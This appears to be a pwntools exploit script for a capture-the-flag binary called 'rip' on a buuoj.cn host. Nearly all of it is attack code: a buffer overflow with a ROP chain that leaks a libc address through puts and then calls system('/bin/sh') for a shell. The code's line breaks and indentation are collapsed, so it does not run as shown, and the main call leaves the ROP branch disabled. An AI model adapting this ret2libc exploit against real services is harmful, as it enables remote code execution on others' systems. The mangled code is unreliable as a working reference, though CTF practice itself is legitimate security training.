1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
|
from pwn import *
local = 0 host = 'node3.buuoj.cn' port = 29940 context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',] exe = './rip' context.binary = exe elf = ELF(exe) libc = elf.libc
if local: io = process(exe) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline().strip() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def get_one_gadget(filename): try: import subprocess except Exception as e: print("subprocess not install") exit(0) return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path) offset = 23 pop_rdi = 0x00000000004011fb puts_plt = elf.plt['puts'] __libc_start_main_got = elf.got['__libc_start_main'] main_addr = elf.sym['main'] payload = flat([ "a"*offset, pop_rdi, __libc_start_main_got, puts_plt, main_addr ]) sl(payload) ru("ok,bye!!!\n") libc.address = uu64(r(6)) - libc.sym['__libc_start_main'] lg("libc", libc.address) payload = flat([ "a"*offset, pop_rdi, libc.search("/bin/sh").next(), libc.sym['system'], main_addr ]) sl(payload) ''' try: from LibcSearcher import * except Exception as e: print("LibcSearcher not install") exit(0) obj = LibcSearcher("fgets",leak_addr) libc_base = leak_addr - obj.dump("fgets") system_addr = libc_base + obj.dump("system") malloc_hook = libc_base + obj.dump("__malloc_hook") free_hook = libc_base + obj.dump("__free_hook") bin_sh_addr = libc_base + obj.dump("str_bin_sh") ''' ia()
if __name__ == '__main__': exp(host,)
|